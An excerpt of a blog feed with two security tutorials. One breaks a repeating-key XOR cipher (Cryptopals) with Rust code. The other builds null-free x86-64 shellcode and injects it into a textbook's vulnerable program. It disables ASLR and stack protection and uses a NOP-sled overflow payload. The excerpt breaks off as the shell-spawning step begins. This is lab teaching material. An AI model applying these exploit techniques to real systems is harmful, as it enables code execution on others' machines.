&lt;li&gt;XOR Cipher&lt;/li&gt;
&lt;li&gt;
Break XOR cipher with frequency analysis

&lt;ul&gt;
&lt;li&gt;Find key length&lt;/li&gt;
&lt;li&gt;Group ciphertext bytes by key byte used to encrypt&lt;/li&gt;
&lt;li&gt;Get the key character for each group&lt;/li&gt;
&lt;li&gt;Code&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Conclusion&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;I started working on the &lt;a href="https://cryptopals.com" rel="noopener noreferrer"&gt;Cryptopals challenges&lt;/a&gt;. I’m learning a few things about how the different pieces used in cryptography work and how to break them, and I decided to document some of the learnings. Today, we will learn about the XOR cipher, how it works, and how to break it. This post is related to &lt;a href="https://cryptopals.com/sets/1/challenges/3" rel="noopener noreferrer"&gt;https://cryptopals.com/sets/1/challenges/3&lt;/a&gt; and&lt;a href="https://cryptopals.com/sets/1/challenges/6" rel="noopener noreferrer"&gt;https://cryptopals.com/sets/1/challenges/6&lt;/a&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  XOR Cipher
&lt;/h1&gt;

&lt;p&gt;The XOR cipher is an encryption method where each character of the plaintext is XORed with a character from the key. Let &lt;code&gt;p&lt;/code&gt; be the plaintext, &lt;code&gt;c&lt;/code&gt; the ciphertext, &lt;code&gt;k&lt;/code&gt; the key, and &lt;code&gt;^&lt;/code&gt; the XOR operator. Assume the key length is equal to the plaintext length. For each &lt;code&gt;i&lt;/code&gt;from 0 to &lt;code&gt;p&lt;/code&gt; length, we have that &lt;code&gt;c[i] = p[i] ^ k[i]&lt;/code&gt;. For example, the plaintext “abcd” will result in the ciphertext “PPPP” using key “1234”.&lt;/p&gt;

&lt;p&gt;This cipher is theoretically unbreakable when using the&lt;a href="https://www.ciphermachinesandcryptology.com/en/onetimepad.htm" rel="noopener noreferrer"&gt;OTP&lt;/a&gt;(One Time Pad) technique. For this, the key must be:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;At least as long as the plaintext&lt;/li&gt;
&lt;li&gt;Truly random&lt;/li&gt;
&lt;li&gt;Never reused&lt;/li&gt;
&lt;li&gt;Kept secret&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;OTP is&lt;a href="http://hawkgirl.net/documents/communication/One-time-pad.pdf" rel="noopener noreferrer"&gt;impracticable&lt;/a&gt;with the current internet. Hence, we have to use shorter keys and reuse them. For example, if we have the plaintext “abcdef” and the key “1234”, then the character “e” will get XORed with “1” and “f” with “2”. XOR is not secure in that setup. Let’s see how we can break it.&lt;/p&gt;

&lt;h1&gt;
  
  
  Break XOR cipher with frequency analysis
&lt;/h1&gt;

&lt;p&gt;Breaking the XOR cipher is very simple. Let’s go step by step.&lt;/p&gt;

&lt;h2&gt;
  
  
  Find key length
&lt;/h2&gt;

&lt;p&gt;The first step is to find the key length. We can brute force it. Before moving on, we need to know the facts that make this attack possible:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;XOR operations cancel out equivalent values (i.e., a ^ a = 0)&lt;/li&gt;
&lt;li&gt;XOR operations return 0’s 50% of the time and 1’s 50% of the time.&lt;/li&gt;
&lt;li&gt;Plaintexts are not uniformly random&lt;/li&gt;
&lt;li&gt;The expected hamming distance for two letters is lower than for two random 8-bit bytes.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;How is this useful? Well… Let &lt;code&gt;p1&lt;/code&gt; and &lt;code&gt;p2&lt;/code&gt; be the first two blocks of key length bytes of the plaintext, &lt;code&gt;c1&lt;/code&gt; and &lt;code&gt;c2&lt;/code&gt; the first two blocks of key length bytes of the ciphertext, and &lt;code&gt;k&lt;/code&gt; the key. We have that&lt;code&gt;p1 ^ k = c1&lt;/code&gt; and &lt;code&gt;p2 ^ k = c2&lt;/code&gt;. We can then iterate over each potential key length. For the proper key length, and using the previous equivalences, it follows that &lt;code&gt;c1 ^ c2 = (p1 ^ k) ^ (p2 ^ k) = p1 ^ p2&lt;/code&gt;(fact 1). That will return a lower hamming distance (facts 3 and 4). Otherwise, for the incorrect key length, &lt;code&gt;c1 ^ c2 = p1 ^ p2&lt;/code&gt; doesn’t hold. Some bytes will follow the equivalence&lt;code&gt;(p1[n] ^ k) ^ (p2[n] ^ k')&lt;/code&gt;, resembling two random 8-bit bytes (facts 2 and 4). Hence, the hamming distance will be higher.&lt;/p&gt;

&lt;p&gt;The final implementation has a few more quirks. Computing the hamming distance between the first two blocks isn’t always reliable. We can use more blocks and calculate the average. Besides, we need to normalize the hamming distance average to compare different key sizes.&lt;/p&gt;

&lt;p&gt;Let’s see the pseudocode.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;for each possible key length
    get some blocks whose length is equal to the key length
    for each pair of blocks
        compute the hamming distance
    compute the average of hamming distances
    normalize the average by dividing by the key length
the value with the minimum normalized value is the key length
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A possible implementation would be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;let mut keysize = 0;
let mut norm_distance = f64::MAX;
for i in 2..41 {
    if data.len() - 1 &amp;lt; 4 * i {
        continue;
    }

    let current_norm_distance = avg_hamming_distance_bytes(data, i) as f64 / i as f64;
    if current_norm_distance &amp;lt;= norm_distance {
        norm_distance = current_norm_distance;
        keysize = i;
    }
}

fn avg_hamming_distance_bytes(data: &amp;amp;[u8], keysize: usize) -&amp;gt; u64 {
    let n = 4;
    let sum_distances = (0..n - 1)
        .flat_map(|i| {
            (i + 1..n).map(move |j| {
                (
                    (i * keysize, (i + 1) * keysize),
                    (j * keysize, (j + 1) * keysize),
                )
            })
        })
        .map(|((a, b), (c, d))| hamming_distance_bytes(&amp;amp;data[a..b], &amp;amp;data[c..d]))
        .sum::&amp;lt;u64&amp;gt;();

    sum_distances / (6 * keysize) as u64
}

fn hamming_distance_bytes(a: &amp;amp;[u8], b: &amp;amp;[u8]) -&amp;gt; u64 {
    debug_assert_eq!(a.len(), b.len());

    xor_bytes(a, b)
        .iter()
        .flat_map(|byte| (0..8).map(move |i| (byte &amp;gt;&amp;gt; i) &amp;amp; 1))
        .filter(|b| b == &amp;amp;1)
        .count() as u64
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Group ciphertext bytes by key byte used to encrypt
&lt;/h2&gt;

&lt;p&gt;We will split the ciphertext into blocks of key length and group them based on their position. The first byte of each block will go into the first group, the second byte of each block will go into the second group, etc. The goal is to get as many groups as key characters and for each group to contain the ciphertext bytes encrypted with a particular key character.&lt;/p&gt;

&lt;p&gt;Each group will help us find one character of the key.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;break ciphertext into blocks of key length
transpose the blocks
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A possible implementation would be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;let data_chunks = data.chunks(keysize).collect::&amp;lt;Vec&amp;lt;&amp;amp;[u8]&amp;gt;&amp;gt;();
let data_chunks = transpose(&amp;amp;data_chunks);

fn transpose&amp;lt;T: Copy&amp;gt;(data: &amp;amp;[&amp;amp;[T]]) -&amp;gt; Vec&amp;lt;Vec&amp;lt;T&amp;gt;&amp;gt; {
    let mut transposed = vec![vec![]; data[0].len()];
    for row in data {
        for (j, &amp;amp;value) in row.iter().enumerate() {
            transposed[j].push(value);
        }
    }

    transposed
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Get the key character for each group
&lt;/h2&gt;

&lt;p&gt;With the ciphertext bytes grouped, we can brute force each key character. The idea is to decrypt each block for each possible ASCII value and check which one returns the text closest to English, Spanish, or the language used. We do that by checking the frequency of the letters.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;for each possible character
    decrypt the message
    compute how similar it is to english
the character that produces the most similar english data is the key character
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A possible implementation would be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;let password = data_chunks
    .iter()
    .map(|chunk| break_single_xor_bytes(chunk).key)
    .collect::&amp;lt;String&amp;gt;();

pub struct DecryptMetadata {
    pub key: char,
    pub english_similarity: f64,
    pub decrypted_data: String,
}

impl Default for DecryptMetadata {
    fn default() -&amp;gt; Self {
        Self {
            key: '.',
            english_similarity: f64::MAX,
            decrypted_data: String::new(),
        }
    }
}

pub fn break_single_xor_bytes(data: &amp;amp;[u8]) -&amp;gt; DecryptMetadata {
    let mut decrypt_metadata = DecryptMetadata::default();
    for i in 0..256u16 {
        let repeating_key = vec![i as u8; data.len()];
        let xor_data = xor_bytes(data, &amp;amp;repeating_key);
        let Some(decrypted_data) = String::from_utf8(xor_data).ok() else {
            continue;
        };

        let characters_count = count_characters(&amp;amp;decrypted_data.to_ascii_lowercase());

        let ascii_data_length = decrypted_data.chars().count() as f64;
        let actual_frequencies = compute_frequencies(characters_count, ascii_data_length);

        let similarity = similarity_to_english(actual_frequencies);
        if similarity &amp;lt; decrypt_metadata.english_similarity {
            decrypt_metadata = DecryptMetadata {
                key: i as u8 as char,
                english_similarity: similarity,
                decrypted_data,
            };
        }
    }

    decrypt_metadata
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;

&lt;p&gt;You can check the whole implementation&lt;a href="https://github.com/danielorihuela/cryptopals/blob/main/src/set1/challenge6.rs" rel="noopener noreferrer"&gt;https://github.com/danielorihuela/cryptopals/blob/main/src/set1/challenge6.rs&lt;/a&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;The XOR cipher is simple but easy to attack. Modern products should avoid it at all costs. Instead, use OTP (if you can manage the complexity) or AES.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Write your own shellcode</title>
      <dc:creator>daniel orihuela</dc:creator>
      <pubDate>Sat, 19 Oct 2024 00:00:00 +0000</pubDate>
      <link>https://dev.to/daniel_orihuela_96731fc2e/write-your-own-shellcode-3b1n</link>
      <guid>https://dev.to/daniel_orihuela_96731fc2e/write-your-own-shellcode-3b1n</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F58jdq571awqt80lqngz7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F58jdq571awqt80lqngz7.png" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What’s a shellcode?&lt;/li&gt;
&lt;li&gt;
Building a shellcode

&lt;ul&gt;
&lt;li&gt;Hello world assembly&lt;/li&gt;
&lt;li&gt;No segments&lt;/li&gt;
&lt;li&gt;No null bytes&lt;/li&gt;
&lt;li&gt;Jump to the end and back&lt;/li&gt;
&lt;li&gt;Use smaller registers&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Experiment with shellcode injection&lt;/li&gt;

&lt;/ul&gt;

&lt;h1&gt;
  
  
  What’s a shellcode?
&lt;/h1&gt;

&lt;p&gt;In the software realm, a shellcode is a set of instructions that attackers inject into a program to execute arbitrary commands. Commonly, they use it to spawn a shell. However, you can do whatever you wish to. For example, print something to stdout, create files, and open a port, to name a few.&lt;/p&gt;

&lt;p&gt;In this post, I will show you the basics of building a shellcode and how to avoid the most common pitfalls when executing it in an exploit.&lt;/p&gt;

&lt;h1&gt;
  
  
  Building a shellcode
&lt;/h1&gt;

&lt;p&gt;A shellcode is built in assembly. Why assembly? Because they are injected into running programs that are already compiled, assembled, and linked. Once in runtime, the CPU is just reading machine instructions. Thus, we need to inject assembly instructions.&lt;/p&gt;

&lt;p&gt;Building an assembly program can seem hard but there are lots of resources where you can learn about it.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/mschwartz/assembly-tutorial?tab=readme-ov-file" rel="noopener noreferrer"&gt;https://github.com/mschwartz/assembly-tutorial?tab=readme-ov-file&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nasm.us/docs.php" rel="noopener noreferrer"&gt;https://nasm.us/docs.php&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://learnxinyminutes.com/docs/mips/" rel="noopener noreferrer"&gt;https://learnxinyminutes.com/docs/mips/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cs.lmu.edu/~ray/notes/nasmtutorial/" rel="noopener noreferrer"&gt;https://cs.lmu.edu/~ray/notes/nasmtutorial/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://portal.cs.umbc.edu/help/nasm/sample_64.shtml" rel="noopener noreferrer"&gt;https://portal.cs.umbc.edu/help/nasm/sample_64.shtml&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You must also know where to get the machine instructions for a given architecture. You can get the information from the system. For example, my 64-bit Linux machine has the file&lt;code&gt;/usr/include/x86_64-linux-gnu/asm/unistd_64.h&lt;/code&gt; with the information.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#ifndef _ASM_UNISTD_64_H
#define _ASM_UNISTD_64_H

#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_close 3
#define __NR_stat 4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Alternatively, you can search for that information on the Internet, for example,&lt;a href="https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/" rel="noopener noreferrer"&gt;https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/&lt;/a&gt; or&lt;a href="https://j00ru.vexillium.org/syscalls/nt/64/" rel="noopener noreferrer"&gt;https://j00ru.vexillium.org/syscalls/nt/64/&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Let’s start writing a simple program to print to the stdout.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hello world assembly
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BITS 64 ; Define target architecture bits

section .data ; Data segment
msg db "Hello, world!", 0x0a; String with new line char

section .text ; Text segment
global _start; Default entry point for ELF linking

_start:

; write
mov rax, 1 ; Specify write syscall
mov rbx, 1 ; Specify stdout by putting 1 into rbx
mov rsi, msg ; Put the address of the string into rsi
mov rdx, 14 ; Put the length of the string into rdx
syscall ; Execute the system call

; exit
mov rax, 60 ; Specify exit syscall
mov rbx, 0 ; Exit with success
syscall ; Execute the system call
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The program is simple. We define the target architecture bits, create a static string, and print it into stdout. Assembling, linking, and executing the binary is also very simple.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nasm -f elf64 helloworld.asm
ld helloworld.o
./a.out
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;See how it works and experiment a bit.&lt;/p&gt;

&lt;p&gt;Taking that program as a basis, we will now see the different restrictions that we have to build a fully functional shellcode.&lt;/p&gt;

&lt;h2&gt;
  
  
  No segments
&lt;/h2&gt;

&lt;p&gt;We inject shellcodes into running programs. Hence, we cannot specify the data layout nor use other data segments like in the previous example. The instructions must be self-contained. For instance, we cannot declare a static string. We need to mix it with the other instructions.&lt;/p&gt;

&lt;p&gt;Removing the segments is easy, but… how can we mix the string? The stack will be our ally. Remember that when calling a function, a stack frame is created with the arguments, the local variables, and the return address. We can misuse that in assembly to load a string. The idea is to place the string directly after a call instruction. That way the return address of the stack will match the address of the string and we will be able to retrieve it inside the function.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BITS 64

call below
db "Hello, world!", 0x0a

below:
; write
mov rax, 1
mov rdi, 1
; Pop the value from the return address 
; and store it into the register
pop rsi 
mov rdx, 14
syscall

; exit
mov rax, 60
mov rdi, 0
syscall
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Try it out and experiment with it.&lt;/p&gt;

&lt;p&gt;In some situations that’s the only technique you will need to inject a shellcode. However, there are some occasions where this may fall short and you will get a segmentation fault. Often, shellcodes are injected as strings with functions like &lt;code&gt;strcpy&lt;/code&gt;. These types of functions terminate at the first null byte. If we want it to work as expected, we must remove the null bytes.&lt;/p&gt;

&lt;h2&gt;
  
  
  No null bytes
&lt;/h2&gt;

&lt;p&gt;There are different techniques to remove null bytes. Let’s see our starting point.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nasm helloworld.asm
hexdump -C helloword
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh47hhthakg7dz1luc82i.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh47hhthakg7dz1luc82i.webp" width="715" height="115"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Notice how many &lt;code&gt;00&lt;/code&gt; are there. These are the null bytes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Jump to the end and back
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;call&lt;/code&gt; instructions allow for “long” jumps. Using it for “small” jumps as we are doing in our shellcode means that the operand doesn’t fill the entire space reserved for the operand value, and it gets padded with null bytes.&lt;/p&gt;

&lt;p&gt;We can us the two’s complement to avoid that. If we pass a negative number to the &lt;code&gt;call&lt;/code&gt; instruction, the value will be padded with &lt;code&gt;0xff&lt;/code&gt;instead of null bytes. A standard implementation of this solution consists of jumping to the end of the assembly program to a &lt;code&gt;call&lt;/code&gt;instruction that will jump back to a function.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BITS 64

jmp short bottom

above:
; write
mov rax, 1
mov rdi, 1
pop rsi
mov rdx, 14
syscall

; exit
mov rax, 60
mov rdi, 0
syscall

bottom:
call above
db "Hello, world!", 0x0a
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuk99gasd368uutz2hce1.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuk99gasd368uutz2hce1.webp" width="716" height="111"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We removed some null bytes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Use smaller registers
&lt;/h3&gt;

&lt;p&gt;Computers have 16 registers. 64-bit registers are built on top of old registers. For instance, EAX is part of RAX and it contains its first 32 bits.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;64-bit register&lt;/th&gt;
&lt;th&gt;Lower 32 bits&lt;/th&gt;
&lt;th&gt;Lower 16 bits&lt;/th&gt;
&lt;th&gt;Lower 8 bits&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;rax&lt;/td&gt;
&lt;td&gt;eax&lt;/td&gt;
&lt;td&gt;ax&lt;/td&gt;
&lt;td&gt;al&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;rbx&lt;/td&gt;
&lt;td&gt;ebx&lt;/td&gt;
&lt;td&gt;bx&lt;/td&gt;
&lt;td&gt;bl&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;rcx&lt;/td&gt;
&lt;td&gt;ecx&lt;/td&gt;
&lt;td&gt;cx&lt;/td&gt;
&lt;td&gt;cl&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;rdx&lt;/td&gt;
&lt;td&gt;edx&lt;/td&gt;
&lt;td&gt;dx&lt;/td&gt;
&lt;td&gt;dl&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;rsi&lt;/td&gt;
&lt;td&gt;esi&lt;/td&gt;
&lt;td&gt;si&lt;/td&gt;
&lt;td&gt;sil&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;rdi&lt;/td&gt;
&lt;td&gt;edi&lt;/td&gt;
&lt;td&gt;di&lt;/td&gt;
&lt;td&gt;dil&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;rbp&lt;/td&gt;
&lt;td&gt;ebp&lt;/td&gt;
&lt;td&gt;bp&lt;/td&gt;
&lt;td&gt;bpl&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;rsp&lt;/td&gt;
&lt;td&gt;esp&lt;/td&gt;
&lt;td&gt;sp&lt;/td&gt;
&lt;td&gt;spl&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;r8&lt;/td&gt;
&lt;td&gt;r8d&lt;/td&gt;
&lt;td&gt;r8w&lt;/td&gt;
&lt;td&gt;r8b&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;r9&lt;/td&gt;
&lt;td&gt;r9d&lt;/td&gt;
&lt;td&gt;r9w&lt;/td&gt;
&lt;td&gt;r9b&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;r10&lt;/td&gt;
&lt;td&gt;r10d&lt;/td&gt;
&lt;td&gt;r10w&lt;/td&gt;
&lt;td&gt;r10b&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;r11&lt;/td&gt;
&lt;td&gt;r11d&lt;/td&gt;
&lt;td&gt;r11w&lt;/td&gt;
&lt;td&gt;r11b&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;r12&lt;/td&gt;
&lt;td&gt;r12d&lt;/td&gt;
&lt;td&gt;r12w&lt;/td&gt;
&lt;td&gt;r12b&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;r13&lt;/td&gt;
&lt;td&gt;r13d&lt;/td&gt;
&lt;td&gt;r13w&lt;/td&gt;
&lt;td&gt;r13b&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;r14&lt;/td&gt;
&lt;td&gt;r14d&lt;/td&gt;
&lt;td&gt;r14w&lt;/td&gt;
&lt;td&gt;r14b&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;r15&lt;/td&gt;
&lt;td&gt;r15d&lt;/td&gt;
&lt;td&gt;r15w&lt;/td&gt;
&lt;td&gt;r15b&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;When using bigger registers, values are padded with null bytes if they can’t fill the space. Therefore, we want to use the smallest register possible in each operation. However, the remaining bytes can contain any data. We need to zero them out. This can be easily achieved with the xor operation. Additionally, calling &lt;code&gt;mov register, 0&lt;/code&gt; adds null bytes. We need to use &lt;code&gt;dec register&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BITS 64

jmp short bottom

above:
; write
xor rax, rax
inc al
xor rdi, rdi
inc rdi
pop rsi
xor rdx, rdx
mov dl, 14
syscall

; exit
mov al, 60
dec rdi
syscall

bottom:
call above
db "Hello, world!", 0x0a
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fms49go04ortamgtn96wv.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fms49go04ortamgtn96wv.webp" width="718" height="89"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We removed all the null bytes!!! This is it. Shellcodes are just a matter of executing system calls and avoiding null bytes. Let’s try it out with a hands-on exercise.&lt;/p&gt;

&lt;h1&gt;
  
  
  Experiment with shellcode injection
&lt;/h1&gt;

&lt;p&gt;Relevant system information:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Linux 5.15.0-122-generic x86_64&lt;/li&gt;
&lt;li&gt;Intel(R) Core(TM) i7-10510U CPU&lt;/li&gt;
&lt;li&gt;Little Endian&lt;/li&gt;
&lt;li&gt;48 bits address size&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All the vulnerable programs are from Hacking: The Art of Exploitation, 2nd Edition. Get the source code from&lt;a href="https://github.com/intere/hacking/blob/master/booksrc" rel="noopener noreferrer"&gt;https://github.com/intere/hacking/blob/master/booksrc&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;We will use two programs from the book: &lt;code&gt;getenvaddr.c&lt;/code&gt; and&lt;code&gt;notesearch.c&lt;/code&gt; (that requires &lt;code&gt;hacking.h&lt;/code&gt;). We will store the shellcode in an environment variable and inject it into the vulnerable program with a stack-based buffer overflow. If you want to learn more about stack-based buffer overflows and how to take advantage of the environment, you can check &lt;a href="//../stack-based-buffer-overflows"&gt;Stack-based buffer overflows&lt;/a&gt; and &lt;a href="//../store-shellcode-in-environment-variable"&gt;Store shellcode in environment variable&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Let’s compile the programs. Notice how we disable all the security measures for the vulnerable program.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gcc getenvaddr.c -o getenvaddr
gcc notesearch.c -o notesearch -fno-stack-protector -z execstack -no-pie -g
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, we have to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Assemble the shellcode&lt;/li&gt;
&lt;li&gt;Export the shellcode into an environment variable&lt;/li&gt;
&lt;li&gt;Check the address of the environment variable from the vulnerable program point of view&lt;/li&gt;
&lt;li&gt;Inject the code into the vulnerable program&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Which translates into the following.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nasm helloworld.asm
export SHELLCODE=$(cat helloworld)
~/Desktop/getenvaddr SHELLCODE ~/Desktop/notesearch
~/Desktop/notesearch $(perl -e 'print "\x90" x 120, "\xab\xef\xff\xff\xff\x7f\x00\x00"')
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdsqa3mb7fgwdqsl15wk6.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdsqa3mb7fgwdqsl15wk6.webp" width="800" height="140"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Cool! We managed to take control of the program and print what we wanted to the stdout. This is rather dull. Let’s try to get a shell prompt!!!&lt;/p&gt;

&lt;p&gt;What would this look like in C?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;

int main(int argc, char *argv[]) {
    system("/bin/sh");
}
&lt;/code&gt;&lt;/pre&gt;

